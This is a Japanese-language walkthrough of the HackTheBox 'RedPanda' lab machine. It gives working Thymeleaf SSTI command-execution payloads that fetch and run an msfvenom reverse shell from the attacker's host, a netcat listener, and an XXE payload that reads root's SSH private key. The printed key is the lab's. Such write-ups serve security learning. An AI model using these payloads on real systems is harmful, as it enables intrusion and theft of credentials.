🔥

HackTheBox RedPanda

2022/11/27に公開

RedPanda

侵入

nmap

┌──(kali㉿kali)-[~/Desktop/RedPanda]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.170 -oN nmap.log 
Starting Nmap 7.91 ( https://nmap.org ) at 2022-08-20 14:23 JST

22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
8080/tcp open  http-proxy syn-ack ttl 63
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     <!DOCTYPE html>
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET,HEAD,OPTIONS
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Red Panda Search | Made with Spring Boot

22、8080番ポートを確認
今回は Spring が使用されていることがわかる

web


Webページの下に、検索欄があったので、「test」と入力してみる

入力した test がそのまま表示された。脆弱性があるかもしれない
HackTricks にあるような SSTI の攻撃を試す

HackTricks -> https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
試しに、#{7×7} と入力する(zenn の仕様によりアスタリスクを「×」で表現)

発火したが、49 の後に余計な文字が出力されている
クリーンな出力になるように、Spring の SSTI についてさらに調べる

Thymeleaf -> https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
入力文字の「#」を「*」に変更し、入力してみる

綺麗に発火させることができた

RCE

SSTI を使用し、コマンドを実行できるか確認する

HackTricks -> https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/el-expression-language
入力(id コマンドを実行する)

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}

出力

コマンドの出力結果の代わりに、pid が出力され、実行に成功したことがわかる
リバースシェルを取得するために、msfvenom を使用する

┌──(kali㉿kali)-[~/Desktop/RedPanda]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.13 LPORT=4444 -f elf > rs.elf

上記を実行し、elf ファイルを作成する
作成したファイルをボックスに送るため、kali 側でサーバを立てる

┌──(kali㉿kali)-[~/Desktop/RedPanda]
└─$ python3 -m http.server 80                                             
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

先ほどの方法を活用し、elfファイルを取得する

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("wget 10.10.14.13/rs.elf")}

取得後、実行できるようにパーミッションの変更を行う

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 ./rs.elf")}

woodenkとしてのシェル

exploit

*{"".getClass().forName("java.lang.Runtime").getRuntime().exec ("./rs.elf")}

rs.elf を実行する

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.170] 49906
python3 -c 'import pty; pty.spawn("/bin/bash")'          
woodenk@redpanda:/tmp/hsperfdata_woodenk$ whoami
woodenk

シェルの取得に成功

user フラグ

woodenk@redpanda:/home/woodenk$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得成功

権限昇格

sudo -l

woodenk@redpanda:/tmp/hsperfdata_woodenk$ sudo -l
[sudo] password for woodenk:

パスワードが求められるため、実行できない

linpeas

特に情報が見つからないので、linpeas を実行する

root         866  0.0  0.0   2608   600 ?        Ss   10:24   0:00      _ /bin/sh -c sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
root         867  0.0  0.2   9420  4624 ?        S    10:24   0:00          _ sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar

panda_search-0.0.1-SNAPSHOT.jar で sudo が使用されていることがわかった

pspy64

さらに情報をえるため、linpeas と同様に、pspy64 も実行する

2022/08/21 11:04:01 CMD: UID=0    PID=15614  | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar

Web で操作を行うと、UID=0(root) で jar が実行されていることがわかる

final-1.0-jar-with-dependencies.jar

jar ファイルを、jd-gui で開く

/opt/panda_search/redpanda.log を読み込んでいることがわかる

ログは.jpg を含んでいる必要があり、status_code や ip に対応する文字列として4つに分割される
スクリーンショットでもなんでもいいので、jpg ファイルを用意する

exiftool -Artist="../tmp/gg" pe_exploit.jpg

exiftool を使用し、Atrist に ../tmp/gg という値を追加する

┌──(kali㉿kali)-[~/Desktop/RedPanda]
└─$ cat gg_creds.xml                        
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa" >]>
<credits>
  <author>gg</author>
  <image>
    <uri>/../../../../../../tmp/pe_exploit.jpg</uri>
    <views>1</views>
    <foo>&xxe;</foo>
  </image>
  <totalviews>2</totalviews>
</credits>

読み込む際に、root の SSH 鍵を出力させるような xml ファイルを作成する

woodenk@redpanda:/tmp$ wget 10.10.14.13/pe_exploit.jpg -P /tmp
woodenk@redpanda:/tmp$ wget 10.10.14.13/gg_creds.xml -P /tmp

作成した jpg ファイルと xml ファイルをマシンに送る

woodenk@redpanda:/tmp$ echo "222||a||a||/../../../../../../tmp/pe_exploit.jpg" > /opt/panda_search/redpanda.log

main としてログを実行させるために、redpanda.log の内容を変更する
そして、再度 xml ファイルを読み込む

woodenk@redpanda:/tmp$ cat /tmp/gg_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
  <author>gg</author>
  <image>
    <uri>/../../../../../../tmp/pe_exploit.jpg</uri>
    <views>2</views>
    <foo>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</foo>
  </image>
  <totalviews>3</totalviews>
</credits>

root の SSH 鍵が出力された

rootとしてのシェル

SSH

┌──(kali㉿kali)-[~/Desktop/RedPanda]
└─$ ssh -i id_rsa_root root@10.10.11.170
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 21 Aug 2022 11:52:45 AM UTC

  System load:           0.0
  Usage of /:            80.9% of 4.30GB
  Memory usage:          46%
  Swap usage:            0%
  Processes:             217
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.170
  IPv6 address for eth0: dead:beef::250:56ff:feb9:f263


0 updates can be applied immediately.

Last login: Thu Jun 30 13:17:41 2022
root@redpanda:~# whoami
root

権限昇格成功

root フラグ

root@redpanda:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得

所感

今回のボックスは、SSTI による侵入までは比較的容易にいけたが、権限昇格がかなり難しかった。xml ファイルによる ssh ファイル読み取りも半分諦めた状態で進めていたので、うまく読み取ることができてよかった。

Discussion